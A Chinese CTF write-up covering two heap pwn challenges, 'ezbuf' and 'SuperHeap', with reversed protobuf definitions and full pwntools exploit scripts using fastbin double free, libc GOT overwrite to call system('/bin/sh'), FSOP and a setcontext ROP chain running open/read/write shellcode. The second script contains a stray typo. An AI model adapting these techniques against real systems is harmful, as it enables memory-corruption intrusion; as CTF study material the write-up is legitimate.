补一下国赛的(失误)题

什么?你问我VM  哦不 伟大的比赛 没见过这道题😂

ezbuf

比赛的时候唐了,没有做出来🤡

一道protobuf的协议题

有兴趣可以先复现去年的talkbot 前置知识在Protobuf Pwn学习利用 - 先知社区 (aliyun.com)等网站

这个函数里就是协议的加密处理了

在字符串列表可以找到一些关键字 与protobuf有关

正常情况可以通过pbtk直接编译出需要的proto文件 但是这道题同去年一样去符号表了

所以只能通过手动看(猜) 确定需要的参数

得到

 syntax = "proto2";
 ​
 package ctf;
 ​
 message Heybro{
     required bytes whatcon = 1;
     required sint64 whattodo = 2;
     required sint64 whatidx = 3;
     required sint64 whatsize = 4;
     required int32 whatsthis = 5;
 }
 ​
 ​

分别对应进主要功能函数时的后五个参数,编译一下 脚本里就能用了

接下来就是常规的堆题了

malloc限制0x30

free限定最多9次

那么就通过fastbin doublefree

得到一个可任意分配的堆块

而地址的获取通过case3这个函数

地址里残存着libc地址 heap的地址也可以通过uaf获取

当delim的值为0xff时 会开沙盒 这是我们不想碰见的 因为出去就有个read

并且他还会关闭输出流和错误流

elf本身是full relro的

但观察到有strtok这个函数 他内部会调用libcgot中存在的函数

这种情况下我们可以改掉libcgot 从而在进这个函数的时候劫持程序执行流

 from pwn import *
 import base64
 import ctf_pb2
 r=remote('pwn.challenge.ctf.show',28272)
 #r=process("./ezbuf")
 elf=ELF("./ezbuf")
 def debug():
     gdb.attach(r)
     pause()
 #debug()
 context.log_level='debug'
 menu=b'AT DO YOU WANT?'
 libc=elf.libc
 ​
 s=0
 def add(idx, msgcontent = b''):
     global s
     d = ctf_pb2.Heybro()
     d.whatcon = msgcontent
     d.whattodo = 1
     d.whatidx = idx
     d.whatsize = 0
     d.whatsthis =0
     strs = d.SerializeToString()
     if s <=3:
         r.sendafter(menu, strs)   
     else :
         sleep(0.5)
         r.send(strs)
 ​
 def delete(idx):
     d = ctf_pb2.Heybro()
     d.whatcon = b''
     d.whattodo = 2
     d.whatidx = idx
     d.whatsize = 0
     d.whatsthis =0
     strs = d.SerializeToString()
     r.sendafter(menu, strs)  
 ​
 def delim(idx,size,sym,cnt):
     global s
     d = ctf_pb2.Heybro()
     d.whatcon = cnt
     d.whattodo = 3
     d.whatidx = idx
     d.whatsize = size
     d.whatsthis =sym
     strs = d.SerializeToString()
     s+=1
     if s <=3:
         r.sendafter(menu, strs)   
     else :
         sleep(0.5)
         r.send(strs)
 def none():
     d = ctf_pb2.Heybro()
     d.whatcon = b''
     d.whattodo = 0
     d.whatidx = 0
     d.whatsize = 0
     d.whatsthis =0
     strs = d.SerializeToString()
     sleep(0.05)
     r.send(strs)
    
 add(0,b'aaaaaaaa')
 #残余libc
 delim(0,0x28,11,b'')
 ​
 r.recvuntil(b'Content:')
 r.recvuntil(b'a'*8)
 libc_base=u64(r.recv(6).ljust(8,b'\x00'))-96-(0x76deb301ac80-0x76deb2e00000)
 print(hex(libc_base))
 ​
 for i in range(1,7):
     add(i,b'aaaaaaaa')
 ​
 add(7,b'a')
 add(8,b'a')    
 for i in range(7):
     delete(i)
 delete(7)
 delete(8)
 delete(7)
 ​
 delim(0,0x28,11,b'')
 r.recvuntil(b'Content:')
 heap=(u64((r.recv(5)).ljust(8,b'\x00'))<<12)-0x2000
 print(hex(heap))
 for i in range(7):
     add(i,b'aaaaaaaa')
 ​
 #异或绕过
 target=libc_base+0x21a058-0x8
 target=p64((target)^((heap+0x4000)>>12))
 ​
 ​
 add(7,target)
 add(7,p64(0))
 add(7,p64(0))
 ​
 #分配到libcgot里
 add(0,p64(libc_base+0x7a8f19028080-0x7a8f19000000)+p64(libc_base+libc.symbols['system']))
 ​
 delim(0, 0x30, 0x30, b';/bin/sh\x00'*0x2)
 ​
 ​
 r.interactive()

Superheap

套娃题,但没顾上做可惜,(该死的vm

go+base32+protobuf(有点难泵)+base64 极致套娃

复现的时候发现edit随便溢出 阳之后悔🤡

拿pbtk梭一下

syntax = "proto3";

package mypackage;

option go_package = "book_protobuf/mypackage";

message CTFBook {
    string title = 1;
    string author = 2;
    string isbn = 3;
    string publish_date = 4;
    double price = 5;
    int32 stock = 6;
}

然后edit的时候堆溢出,申请两本书,覆盖后一个的控制堆块,任意读写

fsop + orw

import bookProto_pb2
from pwn import *
p=remote( 'pwn.challenge.ctf.show',28249)
#p=process("./SuperHeap")
elf=ELF("./SuperHeap")
def debug():
    gdb.attach(p)
    pause()

#context.log_level='debug'
context.arch='amd64'
libc=elf.libc

def cmd(idx):
    p.sendlineafter(b'r choice > ',str(idx))

def serialize_book(title, author, isbn, publish_date, price, stock):
    d = bookProto_pb2.CTFBook()
    d.title = base64.b64encode(title) 
    d.author = base64.b64encode(author)
    d.isbn = base64.b64encode(isbn)
    d.publish_date = base64.b64encode(publish_date)
    d.price = price
    d.stock = stock

    return d.SerializeToString()

def add(idx, title, author, isbn, publish_date, price, stock):
    cmd(1)
    p.sendlineafter(b'ndex: ', str(idx)) 
    

    serialized_data = serialize_book(title, author, isbn, publish_date, price, stock)

    encoded_data = base64.b32encode(serialized_data)

    p.sendlineafter(b'cial Data:', encoded_data)

def see(idx):
    cmd(2)a
    p.sendlineafter(b'ndex: ',str(idx))

def delete(idx):
    cmd(3)
 
    p.sendlineafter(b'ndex: ',str(idx))

def edit(idx, title, author, isbn, publish_date, price, stock)    :
    cmd(4)
    p.sendlineafter(b'ndex: ', str(idx)) 

    serialized_data = serialize_book(title, author, isbn, publish_date, price, stock)

    encoded_data = base64.b32encode(serialized_data)

    p.sendlineafter(b'cial Data:', encoded_data) 
# 调用函数

add(0,b'a'*0x28,b'b'*0x28,b'c'*0x28,b'd'*0x28,10.1, 0x400)
add(1, b'1'*0x440, b'2'*0x400, b'3'*0x450, b'4'*0x400, 10.1, 0x400)
add(2, b'1'*0x440, b'2'*0x400, b'3'*0x450, b'4'*0x400, 10.1, 0x400)
edit(0,b'1'*0x38+p64(0x41)+p16(0x4344),b'2',b'3',b'4',1.11,0x200)
edit(0,b'a',b'b',b'c',b'c'*0x40 ,66,66)
see(0)
p.recvuntil(b'c'*0x40)
heap=u64(p.recv(6).ljust(8,b'\x00'))
print('heap--->',hex(heap))
edit(0,b'a',b'b',b'c',b'c'*0x38+p64(0x41)+p64(heap+0x10d0) ,66,66)
delete(2)
see(1)
p.recvuntil(b'Title: ')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-(0x76f412c1ace0-0x76f412a00000)
print(hex(libc_base))
edit(0,b'a',b'b',b'c',b'c'*0x38+p64(0x41)+p64(heap)+p64(libc.sym['_IO_list_all']+libc_base) ,66,66)

setcontext=libc_base+libc.symbols['setcontext']+61
rsi=0x000000000002be51+libc_base
rdi=0x000000000002a3e5+libc_base
rdx=0x000000000011f2e7+libc_base
magic_gadget = libc_base+0x0000000000167420
lock = libc_base+(0x752e5ea1ca60-0x752e5e800000)
orw_addr = heap + 0xe0 + 0xe8 + 0x70
wfile = libc_base + libc.sym['_IO_wfile_jumps']
io_all = libc_base + libc.sym['_IO_list_all']
pl=p32(0)+p32(0)+p64(orw_addr)+p64(0)+p64(0)+p64(0)+p64(io_all-0x20) 
pl+=p64(0)*3 #2e0
pl+=p64(orw_addr) 
pl+=p64(0)*7
pl+=p64(lock) #_lock
pl+=p64(0)*2
pl+=p64(heap +0xe0) 
pl+=p64(0)*6
pl+=p64(wfile) 
pl+=p64(0)*0x1c
pl+=p64(heap + 0xe0+ 0xe8)
pl+=p64(0)*0xd
pl+=p64(magic_gadget)  
pl+=flat({
    0:'./flag',
    0x20:p64(setcontext),
    0xa0:p64(orw_addr+0xb8),
    0xa8:p64(rdi),
    0xb8:p64(orw_addr),
    0xc0:p64(rsi),
    0xc8:p64(0x8000),
    0xd0:p64(rdx),
    0xd8:p64(7),
    0xe8:p64(rdi),
    0xf0:p64(heap&0xfffffffff000),
    0xf8:p64(libc_base+libc.symbols['mprotect']),
    0x100:p64(orw_addr+0x108)

},filler=b'\x00')
pl+=asm(shellcraft.open('./flag'))
pl+=asm(shellcraft.read(3,heap+0x2000,0x50))
pl+=asm(shellcraft.write(1,heap+0x2000,0x50))

edit(1,pl,p64(heap),b'a',b'b',66,66)
#debug()
cmd(6)
#
p.interactive()

重生之会pwnのsekiro